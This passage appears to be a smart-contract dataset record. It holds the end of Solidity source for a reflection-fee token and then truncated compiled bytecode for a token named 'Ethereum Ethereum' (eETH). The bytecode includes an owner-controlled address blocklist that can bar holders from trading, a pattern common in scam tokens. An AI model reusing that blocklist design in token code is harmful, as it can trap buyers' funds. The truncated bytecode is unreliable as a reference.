(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b6040518082815260200191505060405180910390f35b60606040518060400160405280601181526020017f457468657265756d20457468657265756d000000000000000000000000000000815250905090565b600061076b610764611855565b848461185d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a54565b6108548461079f611855565b61084f85604051806060016040528060288152602001613d0d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611855565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227f9092919063ffffffff16565b61185d565b600190509392505050565b610867611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611855565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233f565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243a565b90505b919050565b610bd5611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f6545544800000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611855565b8484611a54565b6001905092915050565b610ddf611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611855565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124be565b50565b610fa9611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550680ad78ebc5ac62000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b81019080805190602001909291905050505050565b611627611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178c606461177e83683635c9adc5dea000006127a890919063ffffffff16565b61282e90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d836024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cca6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7d6023913960400191505060405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d356029913960400191505060405180910390fd5b611bc1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bc57601360179054906101000a900460ff1615611e95573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d655750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dab611855565b73ffffffffffffffffffffffffffffffffffffffff161480611e215750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e09611855565b73ffffffffffffffffffffffffffffffffffffffff16145b611e93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea457600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f485750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5157600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffc5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120525750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561206a5750601360179054906101000a900460ff165b156121025742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ba57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210d30610ae2565b9050601360159054906101000a900460ff1615801561217a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121925750601360169054906101000a900460ff165b156121ba576121a0816124be565b600047905060008111156121b8576121b74761233f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122635750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226d57600090505b61227984848484612878565b50505050565b600083831115829061232c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f15780820151818401526020810190506122d6565b50505050905090810190601f16801561231e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238f60028461282e90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ba573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240b60028461282e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612436573d6000803e3d6000fd5b5050565b6000600a54821115612497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613ca0602a913960400191505060405180910390fd5b60006124a1612acf565b90506124b6818461282e90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f357600080fd5b506040519080825280602002602001820160405280156125225781602001602082028036833780820191505090505b509050308160008151811061253357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d557600080fd5b505afa1580156125e9573d6000803e3d6000fd5b505050506040513d60208110156125ff57600080fd5b81019080805190602001909291905050508160018151811061261d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274857808201518184015260208101905061272d565b505050509050019650505050505050600060405180830381600087803b15801561277157600080fd5b505af1158015612785573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127bb5760009050612828565b60008284029050828482816127cc57fe5b0414612823576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613cec6021913960400191505060405180910390fd5b809150505b92915050565b600061287083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612afa565b905092915050565b8061288657612885612bc0565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129295750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293e57612939848484612c03565b612abb565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e15750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f6576129f1848484612e63565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a985750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aad57612aa88484846130c3565b612ab9565b612ab88484846133b8565b5b5b5b80612ac957612ac8613583565b5b50505050565b6000806000612adc613597565b91509150612af3818361282e90919063ffffffff16565b9250505090565b60008083118290612ba6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6b578082015181840152602081019050612b50565b50505050905090810190601f168015612b985780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb257fe5b049050809150509392505050565b6000600c54148015612bd457506000600d54145b15612bde57612c01565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1587613844565b955095509550955095509550612c7387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de98161397e565b612df38483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7587613844565b955095509550955095509550612ed386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130498161397e565b6130538483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d587613844565b95509550955095509550955061313387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325d83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333e8161397e565b6133488483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ca87613844565b95509550955095509550955061342886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135098161397e565b6135138483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f9578260026000600984815481106135d157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b8575081600360006009848154811061365057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d657600a54683635c9adc5dea0000094509450505050613840565b61375f60026000600984815481106136ea57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ac90919063ffffffff16565b92506137ea600360006009848154811061377557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ac90919063ffffffff16565b915080806001019150506135b2565b50613818683635c9adc5dea00000600a5461282e90919063ffffffff16565b82101561383757600a54683635c9adc5dea00000935093505050613840565b81819350935050505b9091565b60008060008060008060008060006138618a600c54600d54613b5d565b9250925092506000613871612acf565b905060008060006138848e878787613bf3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227f565b905092915050565b600080828401905083811015613974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613988612acf565b9050600061399f82846127a890919063ffffffff16565b90506139f381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1e57613ada83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3882600a546138ac90919063ffffffff16565b600a81905550613b5381600b546138f690919063ffffffff16565b600b819055505050565b600080600080613b896064613b7b888a6127a890919063ffffffff16565b61282e90919063ffffffff16565b90506000613bb36064613ba5888b6127a890919063ffffffff16565b61282e90919063ffffffff16565b90506000613bdc82613bce858c6138ac90919063ffffffff16565b6138ac90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0c85896127a890919063ffffffff16565b90506000613c2386896127a890919063ffffffff16565b90506000613c3a87896127a890919063ffffffff16565b90506000613c6382613c5585876138ac90919063ffffffff16565b6138ac90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a20747